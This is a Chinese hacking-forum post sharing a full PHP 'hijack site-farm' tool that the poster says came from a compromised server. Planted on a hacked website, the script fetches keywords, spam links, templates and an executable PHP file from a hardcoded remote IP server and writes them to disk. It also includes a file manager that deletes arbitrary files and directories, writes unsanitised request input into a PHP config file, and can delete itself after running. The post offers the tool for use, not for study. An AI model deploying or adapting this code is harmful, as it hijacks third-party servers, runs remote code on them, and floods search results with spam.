搜索
查看: 414|回复: 0

泛站群代码

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-8-10 22:11:18 | 显示全部楼层 |阅读模式
从某SHELL上看到的,分享下
  1. ?<?php ob_end_flush();set_time_limit(0);?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>提莫劫持泛站版 Version 2013</title>
  6. <style type="text/css">p {float:left;width:25%;height:22px;font-size:12px;margin:0px;}</style>
  7. <script type="text/javascript" src="http://code.jquery.com/jquery-1.4.4.min.js"></script>
  8. </head>

  9. <body>
  10. <?php
  11. $act = 'default'; if (isset($_REQUEST['act'])) $act = trim($_REQUEST['act']);
  12. //保存文件
  13. function Save($file, $body,$tcode){
  14.         //if(strtolower($tcode) != 'gb2312') $body = iconv('gb2312',$tcode,$body);
  15.         $obj=fopen($file,'w');
  16.         fwrite($obj, $body);
  17.         fclose($obj);
  18. }
  19. //获取当前文件名
  20. function GetName(){
  21.         $url = $_SERVER['PHP_SELF'];
  22.         $arr = explode('/' , $url );
  23.         $filename= $arr[count($arr)-1];
  24.         return $filename;
  25. }
  26. //删除文件夹
  27. function DelDir($dir){
  28.   //先删除目录下的文件:
  29.   $dh=opendir($dir);
  30.   while ($file=readdir($dh)) {
  31.     if($file!="." && $file!="..") {
  32.       $fullpath=$dir."/".$file;
  33.       if(!is_dir($fullpath)) {
  34.           unlink($fullpath);
  35.       } else {
  36.           deldir($fullpath);
  37.       }
  38.     }
  39.   }
  40.   closedir($dh);
  41.   echo '<h5 style="margin:5px 0px;font-size:14px;text-align:center;">文件夹 '. $dir .' 删除成功!</h5>';
  42.   //删除当前文件夹:
  43.   if(rmdir($dir)) {
  44.     return true;
  45.   } else {
  46.     return false;
  47.   }
  48. }
  49. //删除文件
  50. function DelFile($path){
  51.         if (strlen($path)>0){
  52.                 if(file_exists($path)){
  53.                         unlink($path);
  54.                         echo '<h5 style="margin:5px 0px;font-size:14px;text-align:center;">文件 '. $path .' 删除成功!</h5>';
  55.                 }else{
  56.                         echo '<h5 style="margin:5px 0px;font-size:14px;text-align:center;">文件 '. $path .' 不存在!</h5>';
  57.                 }
  58.         }
  59. }
  60. //获取文件目录列表,该方法返回数组
  61. function getDir($dir) {
  62.         $bak='';$i=0;
  63.         if (false != ($handle = opendir ( $dir ))) {
  64.                 while ( false !== ($file = readdir ( $handle )) ) {
  65.                         //去掉"“.”、“..”以及带“.xxx”后缀的文件
  66.                         if ($file != "." && $file != ".."&&!strpos($file, ".")) {
  67.                                 $bak.='<option value="'. $file .'">'. $file .'</option>';
  68.                                 $i++;
  69.                         }
  70.                 }
  71.                 closedir ($handle );
  72.         }
  73.         return $bak;
  74. }
  75. //获取文件列表
  76. function getFile($dir) {
  77.         $bak='';
  78.         if (false != ($handle = opendir ( $dir ))) {
  79.                 $i=0;
  80.                 while ( false !== ($file = readdir ( $handle )) ) {
  81.                         //去掉"“.”、“..”以及带“.xxx”后缀的文件
  82.                         if ($file != "." && $file != ".."&&strpos($file,".")) {
  83.                                 $bak.='<option value="'. $file .'">'. $file .'</option>';
  84.                                 if($i==500) break;
  85.                                 $i++;
  86.                         }
  87.                 }
  88.                 closedir ( $handle );
  89.         }
  90.         return $bak;
  91. }
  92. if ($act=="delfile"){
  93.         //文件管理工具部份
  94.         $act2='timo'; if (isset($_REQUEST["act2"])) $act2=trim($_REQUEST["act2"]);
  95.         $sysPath="./"; if (isset($_REQUEST["syspath"])) $sysPath=trim($_REQUEST["syspath"]);
  96.         if ($act2 == "df") {
  97.                 if (isset($_POST["file_list"])>0){
  98.                         $Arrs=$_POST["file_list"];
  99.                         foreach ($Arrs as $val){
  100.                                 DelFile($sysPath . trim($val));
  101.                         }
  102.                         echo '<h2 style="margin-top:200px;font-size:22px;text-align:center;">删除成功,请<a href="?act='. $act .'&syspath='. $sysPath .'" style="font-size:22px;">点击这里返回</a>!</h2>';
  103.                 }else{
  104.                         echo '<h2 style="margin-top:200px;font-size:22px;text-align:center;">别乱点了,你什么也没有选择呀!</h2>';
  105.                 }
  106.                 echo '<meta http-equiv="refresh" content="1;URL=?act='. $act .'&syspath='. $sysPath .'" />';
  107.         } elseif ($act2 == "dd") {
  108.                 if (isset($_POST["dir_list"])>0){
  109.                         $Arrs=$_POST["dir_list"];
  110.                         foreach ($Arrs as $val){
  111.                                 DelDir($sysPath . trim($val));
  112.                         }
  113.                         echo '<h2 style="margin:0px;font-size:22px;text-align:center;">删除成功,请<a href="?act='. $act .'&syspath='. $sysPath .'" style="font-size:22px;">点击这里返回</a>!</h2>';
  114.                 }else{
  115.                         echo '<h2 style="margin-top:200px;font-size:22px;text-align:center;">别乱点了,你什么也没有选择呀!</h2>';
  116.                 }
  117.                 echo '<meta http-equiv="refresh" content="1;URL=?act='. $act .'&syspath='. $sysPath .'" />';
  118.         } elseif ($act2 == "backup") {
  119.                 $Arrs = explode("/", $sysPath);
  120.                 $sysPath="";
  121.                 for($i=0; $i < (count($Arrs)-2); $i++){
  122.                         $sysPath .= trim($Arrs[$i]) . "/";
  123.                 }
  124.                 echo '<script type="text/javascript">window.location.href="?act='. $act .'&syspath='. $sysPath .'";</script>';
  125.         }else{
  126.         ?>
  127.         <table border="0" align="center" cellpadding="20" cellspacing="0">
  128.           <tr>
  129.                 <td colspan="2" style="background:#eee;">
  130.                   <form id="form3" name="form3" method="post" action="?act=<?php echo $act;?>&act2=go">请选择目录:
  131.                         <input type="text" name="syspath" value="<?php echo $sysPath; ?>" style="width:650px;cursor:pointer;" />
  132.                         <input type="submit" name="Submit" value="进入" /><input type="button" name="Submit2" value="上级" onclick="window.location.href='?act=<?php echo $act;?>&act2=backup&syspath=<?php echo $sysPath; ?>';" style="cursor:pointer;" />
  133.                   </form>
  134.                 </td>
  135.           </tr>
  136.           <tr>
  137.                 <td style="background:#ffdcaf;">
  138.                 <form id="form1" name="form1" method="post" action="?act=<?php echo $act;?>&act2=dd&syspath=<?php echo $sysPath; ?>">
  139.                 文件夹列表:<br />
  140.                 <select name="dir_list[]" ondblclick="window.location.href='?act=<?php echo $act;?>&syspath=<?php echo $sysPath; ?>' + $(this).val() +'/';" size="20" style="width:400px;" multiple="multiple" title="双击可进入目录">
  141.                   <?php echo getDir($sysPath); ?>
  142.                 </select><br />
  143.                 <input type="submit" name="Submit3" value="删除所选" style="width:280px;height:40px;color:#c00;margin-top:8px;font-size:16px;font-weight:bold;cursor:pointer;" /><input type="button" name="Submit13" value="返回生成" onclick="location.href = '?act=default';" style="width:120px;height:40px;margin-top:8px;font-size:14px;cursor:pointer;margin-left:-1px;" />
  144.                 </form>        </td>
  145.                 <td style="background:#93cbff;">
  146.                 <form id="form2" name="form2" method="post" action="?act=<?php echo $act;?>&act2=df&syspath=<?php echo $sysPath; ?>">
  147.                 文件列表:<br />
  148.                 <select name="file_list[]" size="20" style="width:400px;" multiple="multiple">
  149.                   <?php echo getFile($sysPath); ?>
  150.                 </select><br />
  151.                 <input type="submit" name="Submit4" value="删除所选" style="width:280px;height:40px;color:#c00;margin-top:8px;font-size:16px;font-weight:bold;cursor:pointer;" /><input type="button" name="Submit14" value="返回生成" onclick="location.href = '?act=default';" style="width:120px;height:40px;margin-top:8px;font-size:14px;cursor:pointer;margin-left:-1px;" />
  152.                 </form>        </td>
  153.           </tr>
  154.         </table>
  155.         <?php
  156.         }
  157. }elseif ($act=="mb_list" || $act=="links_list" || $act=="keys_list"){
  158.         //获取列表模式
  159.         $vs = ''; if (isset($_REQUEST['vs'])) $vs = trim($_REQUEST['vs']);
  160.         $tcode = ''; if (isset($_REQUEST['tcode'])) $tcode = trim($_REQUEST['tcode']);
  161.         if ($act == "mb_list") {
  162.                 $data = file_get_contents($vs ."?act=". $act ."&tcode=".$tcode."&coded=utf8");
  163.                 $data = str_replace('?', '', $data);
  164.                 echo "<script>parent.GetMB_list('". trim($data) ."');</script>";
  165.         }
  166.         if ($act == "links_list") {
  167.                 $data = file_get_contents($vs ."?act=". $act ."&tcode=".$tcode);
  168.                 $data = str_replace('?', '', $data);
  169.                 echo "<script>parent.GetLink_list('". trim($data) ."');</script>";
  170.         }
  171.         if ($act == "keys_list") {
  172.                 $data = file_get_contents($vs ."?act=". $act ."&tcode=".$tcode);
  173.                 $data = str_replace('?', '', $data);
  174.                 echo "<script>parent.GetKeys_list('". trim($data) ."');</script>";
  175.         }
  176. }else{
  177.         $act_ing=''; if (isset($_REQUEST['ing'])) $act_ing=trim($_REQUEST["ing"]);
  178.         if($act_ing=='timo'){//更新配置文件
  179.                 $data =        '<?php'."\r\n".
  180.                                 'define("DB_service","'.$_REQUEST['service'].'");'."\r\n".
  181.                                 'define("DB_mb","'.$_REQUEST['mb'].'");'."\r\n".
  182.                                 'define("DB_links","'.$_REQUEST['links'].'");'."\r\n".
  183.                                 'define("DB_keys","'.$_REQUEST['keys'].'");'."\r\n".
  184.                                 'define("DB_maxnum",'.$_REQUEST['maxnum'].');'."\r\n".
  185.                                 'define("DB_pagenum",'.$_REQUEST['pagenum'].');'."\r\n".
  186.                                 'define("DB_listnum",'.$_REQUEST['listnum'].');'."\r\n".
  187.                                 'define("DB_catalog","'.$_REQUEST['catalog'].'");'."\r\n".
  188.                                 'define("DB_names","'.$_REQUEST['names'].'");'."\r\n".
  189.                                 'define("DB_ext","'.$_REQUEST['ext'].'");'."\r\n".
  190.                                 'define("DB_types","'.$_REQUEST['types'].'");'."\r\n".
  191.                                 'define("DB_delor",'.$_REQUEST['delor'].');'."\r\n".
  192.                                 'define("tcode","'.$_REQUEST['targetcode'].'");'."\r\n".
  193.                                 'define("addnum",'.$_REQUEST['addnum'].');'."\r\n".
  194.                                 'define("basenum",'.$_REQUEST['basenum'].');'."\r\n".
  195.                                 'define("listprefix","'.$_REQUEST['listprefix'].'");'."\r\n".
  196.                                 '?>';
  197.                 Save('timoConfig.php', $data,$_REQUEST['targetcode']);
  198.                 echo "开始下载服务器数据[1]...<script>setTimeout(function(){window.location.href='?ing=keys';},100)</script>";return false;
  199.         }elseif($act_ing=='keys'){
  200.                 //下载关键词内容
  201.                 include_once('timoConfig.php');
  202.                 $data = file_get_contents(DB_service ."?act=savekey&file=".trim(DB_keys)."&tcode=".tcode."&t=". rand(0, 9999));
  203.                 $data = str_replace('|***timo***|', "\r\n", $data);
  204.                 Save('timokey.txt', $data,tcode);
  205.                 $data = file_get_contents(DB_service ."?act=randkey&lenth=6&tcode=".tcode."&names=".DB_names."&MaxNum=".DB_maxnum ."&addnum=".addnum."&basenum=".basenum."&t=". rand(0, 9999));
  206.                 $data = str_replace('|', "\r\n", $data);
  207.                 Save('timourl.txt', $data,tcode);
  208.                 echo "开始下载服务器数据[2]...<script>setTimeout(function(){window.location.href='?ing=links';}, 100)</script>";return false;
  209.         }elseif($act_ing=='links'){
  210.                 //下载外链内容
  211.                 include_once('timoConfig.php');
  212.                 $data = file_get_contents(DB_service ."?act=savelink&file=". trim(DB_links) ."&tcode=".tcode."&t=". rand(0, 9999));
  213.                 $data = str_replace('|***timo***|', "\r\n", $data);
  214.                 Save('timolink.txt', $data,tcode);
  215.                 echo "开始下载服务器数据[3]...<script>setTimeout(function(){window.location.href='?ing=moban';}, 100)</script>";return false;
  216.         }elseif($act_ing=='moban'){
  217.                 //下载模板
  218.                 include_once('timoConfig.php');
  219.                 $data =  file_get_contents(DB_service ."?act=moban_list&templets=". trim(DB_mb) ."&tcode=".tcode."&t=". rand(0, 9999));
  220.                 Save('moban_list.txt',$data,tcode);
  221.                 $data = file_get_contents(DB_service ."?act=moban_page&templets=". trim(DB_mb) ."&tcode=".tcode."&t=". rand(0, 9999));
  222.                 Save('moban_page.txt',$data,tcode);
  223.                 $data = file_get_contents(DB_service ."?act=subject&lang=php&tcode=".tcode."&t=". rand(0, 9999));
  224.                 Save("updatehtml.php",$data,tcode);
  225.                 echo "数据下载完成,准备生成文件...<script>setTimeout(function(){window.location.href='updatehtml.php?act=page';}, 500)</script>";return false;
  226.         }else{
  227. ?>
  228. <script type="text/javascript">
  229. function GetMB(key){GetMB_obj.location.href="?act="+ key +"&vs="+ (document.form1.service.value) + "&tcode=" + (document.form1.targetcode.value);}
  230. function GetMB_list(str){
  231.         var Obj = document.form1.mb;
  232.         Obj.options.length=0;
  233.         var Arrs=str.split(",");
  234.         for (i=0;i<Arrs.length ;i++ ){   
  235.                 Obj.options.add(new Option(Arrs[i],Arrs[i]));
  236.     }
  237. }
  238. function GetLS(key){GetLink_obj.location.href="?act="+ key +"&vs="+ (document.form1.service.value) + "&tcode=" + (document.form1.targetcode.value);}
  239. function GetLink_list(str){
  240.         var Obj = document.form1.links;
  241.         Obj.options.length=0;
  242.         var Arrs=str.split(",");
  243.         for (i=0;i<Arrs.length ;i++ ){   
  244.                 Obj.options.add(new Option(Arrs[i],Arrs[i]));
  245.     }
  246. }
  247. function GetKS(key){GetKey_obj.location.href="?act="+ key +"&vs="+ (document.form1.service.value) + "&tcode=" + (document.form1.targetcode.value);}
  248. function GetKeys_list(str){
  249.         var Obj = document.form1.keys;Obj.options.length=0;var Arrs=str.split(",");
  250.         for (i=0;i<Arrs.length ;i++ ){   
  251.                 Obj.options.add(new Option(Arrs[i],Arrs[i]));
  252.     }
  253. }
  254. window.onload = function(){GetMB('mb_list');GetLS('links_list');GetKS('keys_list');}
  255. </script>
  256. <div style="display:none;"><iframe id="GetMB_obj" name="GetMB_obj"></iframe><iframe id="GetLink_obj" name="GetLink_obj"></iframe><iframe id="GetKey_obj" name="GetKey_obj"></iframe></div>
  257. <div style="width:420px;margin:auto;border:8px #e8e8e8 solid;background:#f6f6f6;margin-top:30px;padding:25px 80px 20px;">
  258.         <h2>提莫劫持泛站版 Version 2013</h2>
  259.         <form name="form1" method="get" action="" style="font-size:14px;">
  260.                 <input name="ing" type="hidden" id="ing" value="timo" />
  261.                 文件目标编码:
  262.         <select id="targetcode" name="targetcode" style="width:80px;">
  263.                         <option value="GB2312">GB2312</option>
  264.                         <option value="UTF-8">UTF-8</option>
  265.                 </select><br/><br />
  266.                 服务器地址:<input id="service" name="service" type="text" size="40" value="http://202.55.12.163:86/API/" /><br /><br />
  267.                 调用的模板:<select id="mb" name="mb" style="width:200px;"><option>请先获取模板列表...</option></select> <input type="button" onclick="javascript:GetMB('mb_list');" value="获取模板" style="width:80px;height:25px;cursor:pointer;" /><br /><br />
  268.                 调用的外链:<select id="links" name="links" style="width:200px;"><option>请先获取外链列表...</option></select> <input type="button" onclick="javascript:GetLS('links_list');" value="获取外链" style="width:80px;height:25px;cursor:pointer;" /><br /><br />
  269.                 调用关键词:<select id="keys" name="keys" style="width:200px;"><option>请先获取关键词列表...</option></select> <input type="button" onclick="javascript:GetKS('keys_list');" value="获取关键词" style="width:80px;height:25px;cursor:pointer;" /><br /><br />
  270.                 存放文件夹:<input name="catalog" type="text" id="ext" value="./news/" size="18" title="./本地址  ../上级目录" /> &nbsp;生成:<input name="maxnum" type="text" id="maxnum" value="800" size="5" style="text-align:center;" />页<br /><br />
  271.                 每页更新量:<input name="pagenum" type="text" id="pagenum" value="100" size="5" style="text-align:center;" /> 条 &nbsp; 列表页:<input name="listnum" type="text" id="listnum" value="100" size="5" style="text-align:center;" />条文章/页<br /><br />
  272.                 生成文件格式:<select id="names" name="names" style="width:100px;">
  273.                         <option value="en_num">英文&amp;数字</option>
  274.                         <option value="en">随机英文</option>
  275.                         <option value="num">随机数字</option>
  276.             <option value="addnum">递增数字</option>
  277.                 </select><select id="ext" name="ext" style="width:60px;">
  278.                         <option value=".html">.html</option>
  279.                         <option value=".htm">.htm</option>
  280.                         <option value=".php">.php</option>
  281.                         <option value=".asp">.asp</option>
  282.                         <option value=".aspx">.aspx</option>
  283.                 </select><br /><br />
  284.         递增基数:<input type="text" style="text-align:center;width:70px" value="1000" id="basenum" name="basenum">
  285.         每次递增:<input type="text" style="text-align:center;width:70px" value="1" id="addnum" name="addnum">
  286.         <br /><br />
  287.         列表页前缀名称:<input type="text" style="text-align:center;width:70px" value="index" id="listprefix" name="listprefix">
  288.         <br /><br />
  289.                 选择生成版本:<label title="生成例如:Ys8vp2.html"><input type="radio" name="types" value="pages" checked="checked" />页面版</label>  <label title="生成例如:Ys8vp2/index.html"><input name="types" type="radio" value="catalog" />目录版</label><br /><br />
  290.                 完成删除临时数据:<label title="完成后删除程序文件" style="color:red;"><input name="delor" type="radio" value="1" checked="checked" />删除掉</label>  <label title="不删除程序文件"><input type="radio" name="delor" value="0" />不删除</label><br /><br />
  291.                 <center><input type="submit" name="button" id="button" value="猛戳这里吧" style="width:180px;height:30px;cursor:pointer;font-size:16px;font-weight:bold;" /><input type="button" name="button2" value="文件管理工具" onclick="location.href = '?act=delfile';" style="width:140px;height:30px;cursor:pointer;font-size:14px;margin-left:-1px;" /></center>
  292.         </form><br />
  293.         <div style="font-size:12px;text-align:center;color:#999;">CopyRight 2013-12-14 提莫队长前去探路</div>
  294. </div>
  295. <?php }
  296. } ?>
  297. </body>
  298. </html>
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表